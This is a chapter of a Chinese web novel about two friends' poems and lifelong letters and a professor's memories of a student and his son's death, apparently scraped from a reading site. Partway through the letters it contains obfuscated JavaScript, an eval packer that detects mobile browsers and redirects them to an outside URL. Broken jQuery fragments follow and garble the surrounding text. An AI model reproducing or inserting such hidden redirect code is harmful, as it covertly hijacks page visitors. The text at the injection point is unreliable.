默认冷灰
24号文字
方正启体

173.信件

作者:呦呦是也本书字数:K更新时间:
    【五月十七,夜,风雨如晦,鸿云待我不至,悲甚,遂病。五月十八,我前往纪园探病。鸿云病重不能言,药石不入,我恐其误解过甚,留信一封,乃《定风波》。


    攻书学剑能几何,争如沙场骋偻逻。手执绿沉枪似铁,明月,龙泉三尺剑新磨。


    堪羡昔时军伍,谩夸儒士德能多。四塞忽闻狼烟起,问儒士,谁人敢去定风波?】


    “师父,”柏阅冬小心翼翼地捧着周先生的日记本,钢笔墨水在纸上有力地勾勒出他当年的悲欢离合,无奈与痛苦,“这简直是史料,是文物!”


    周先生只是笑笑:“当年哪里懂这些?随便写写。”


    柏阅冬想到那会的乱状,若换了他,恐怕活不下去。


    “师父,纪老先生一直等您吗?”


    周先生点点头:“他在唐家弄等不到我,就跑到我家来。那天晚上雷雨交加,后来听人说路都淹了。鸿云在我们家门口一直喊我的名字,堪称悲怆。”


    那是他的生母告诉他的。他的生母生了三个孩子,衰老得很快,加上不认字,在家中也没地位,跟懋恭的交流仅限于闲谈,再无其他。但是那天晚上,她寥寥数语,如同一把尖刀直直刺向懋恭的心脏。


    “那孩子在外头喊你,跟叫魂似的。雷劈得轰轰响,都没压住他那声儿。”


    周懋恭蜷在床上,彻夜未眠。


    大雨足足下了一夜,第二日凌晨才停歇,二奶奶遣人送早饭来,门一开,周懋恭便看见外头微弱天光,凉意袭来,抖出他一身鸡皮疙瘩。


    “妈,鸿云呢?”


    二奶奶不看他,指挥小丫头把早饭放下:“昨夜纪园来人,把他接回去了。”


    “为什么不让我见他?”


    “懋恭,你知不知道他在做什么?那是要死人的呀!”二奶奶一气之下,干脆把所有的事情都抖了出来,“我和你爹已经想好了,把你送到你大哥那里去,你去外面好好读书,不要再想这些!船票已经给你买好,过几天你就走,你那些同学不要再联系了!”


    “不行!我说过我不走!我要去见鸿云!”


    “你怎么去?你根本就跨不出这个院子一步!”


    “那我也不出国,你们要逼我出国,我就,我就死给你们看!”


    二奶奶定定地看着他,眼里缓缓涌上一层薄泪,最后什么也没说,转身走了出去。


    “可是师父,您日记里写您那天去纪园了呀!”


    周先生点点头:“是去了,僵持了一天,还是去了。”


    “他们怎么肯让您去?”


    “因为我也答应他们了。”周先生已经回忆不起当时的煎熬,只记得很多长辈来劝他,父亲又说要打他,家法都请来了,二奶奶拼命拦着,说什么也不给他,他心一软,就答应了。


    作为交换条件,他也得以走出宅子,前往纪园。


    “纪老先生知道您的意思吗?”


    “他知道。”周先生笑笑,“他一直都知道我。”


    【五月十七,大雨,懋恭遭禁,我冒雨前往周宅,未能一见,悲恸不已,以至晕厥。后于家中醒转,得见懋恭所留《定风波》一首。


    五月十九,我覆信至周宅,亦《定风波》也。


    征战偻啰未足多,儒士偻啰转更加。三策张良非恶弱,谋略,汉兴楚灭本由他。


    项羽翘据无路,酒后难消一曲歌。霸王虞姬皆自刎,当本,便知儒士定风波。


    其时风雨飘摇,懋恭颇负报国之志,而身不由己,哀甚!】


    在那两篇《定风波》后,周懋恭收拾行李,上了前往日本的船,他去日本,再折去美国,此后,便是与祖国漫长的分离。


    “我在那边继续上中学,大概入学一周,就迫不及待给鸿云写信写明信片。”周先生捧过那本册子,翻过两页,指着上面的明信片道,“这是当时的明信片,一张明信片要寄好久好久。”


    “这是纪老先生回给您的信?”柏阅冬翻着后面十几页,感叹道,“好多啊!”


    “其实应该更多的,我搬过几次家,丢失了一些,很可惜。”


    柏阅冬歪头看了几张,不由得笑了起来:“师父,您和纪老先生写信也不是天天谈国家大事嘛!”


    “我们是人,又不是机器,哪能总是牵挂这些大事?人的心,是需要呼吸的。”


    柏阅冬点点头,认真翻看起来,仿佛看到两个最要好的朋友隔着太平洋同呼吸共命运。


    ——鸿云,此处先生不打人。


    ——懋恭,此间夫子还打人。


    ——懋恭,我将入国立中央大学文学院学习,我父甚喜,一再告诫我须传承中华千年学术,吾恐令其失望也!


    ——鸿云,美国亦有许多汉学家,专攻中国古代文学,然大学未设相关课程,我只得修习欧美文学。欧美文学与中国文学大不相同,可研究处甚多,来日可与你切磋。


    ——懋恭,我已成婚,妻乃松江任氏女,温婉可人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537603|143212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我仍在南京学习,吾妻替我主持家中事,我万分感激。


    ——鸿云,我婚期亦近,然与你相距万里,实为人生一大憾事。


    ——鸿云,吾有一子,单名,从言,名谨。


    ——懋恭,我亦有一子,单名,从心,名慎。


    “师父!”柏阅冬听师父说到这里,忍不住叫出了声,“你们给孩子取名商量好的吗?”


    “并没有。”


    居然没有!居然有这种默契,奇了怪了!


    周懋恭笑了笑,缓缓道:“谨儿是我的长子,我那时候刚毕业,在中学里教书,生活很艰苦。谨儿跟着我,一直到四五岁,我才谋得一个大学里助教的职位,开始写一些研究性的文章。鸿云在南京毕业后,告诉我他已留校任教,后来又到北平文科研究所,我当时还觉得他过分奔波,没想到,竟逃过一劫。”


    ——懋恭,南京之事令人发指,城中几乎不留活口。我在北平夜不能寐,恐家中父母妻儿亦遭此毒手,我父亦恐甚,不断写信询问我的消息,言阿慎夜夜呼唤其父。我为子未有一日尽孝,为父不曾庇佑呵护阿慎,来日阿慎必以此为一大恨!


    ——鸿云,南京之事我亦耳闻,思之落泪,吾之同胞手无寸铁而受尽折磨凌辱,实乃奇耻大辱!鸿云务必保重自身,不必挂念我。


    “再过两年,我就可以独立上课了,成为了大学里的讲师。经济状况好了很多,我又有了第二个孩子。”


    “谨儿十三岁那年,我收了第一个博士生,就是吴潼。”


    柏阅冬猛地睁大了眼睛——他最想知道的事情来了。


    “吴潼是华人,研究中国文学对他来说是一件讨巧的事。其实我不是没看出来他为人不踏实,可是我并没有那么多选择。读博士的人本来就少,读博士的华人、中国人更少,而读博时期愿意研究中国文学的,堪称凤毛麟角。我在吴潼身上寄托了太多的期待,多得我们两个都承受不起,最后只能鱼死网破玉石俱焚。”


    柏阅冬连呼吸都轻了,问:“您责打他,是真的?”


    “是真的,我那时候压力很大,怕第一个博士就带不好,情绪反复,控制不好自己,一动手就很重,他说是毒打,那就是吧。”


    “那,官司的事……”


    “本来可以赢的,”周先生揉了揉他的头,嘴角还勾着,眼里却闪出了泪光,“可是在开庭前两天,谨儿出事了。”


    “他跟着同学出去玩,开着汽车,冲下了悬崖。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)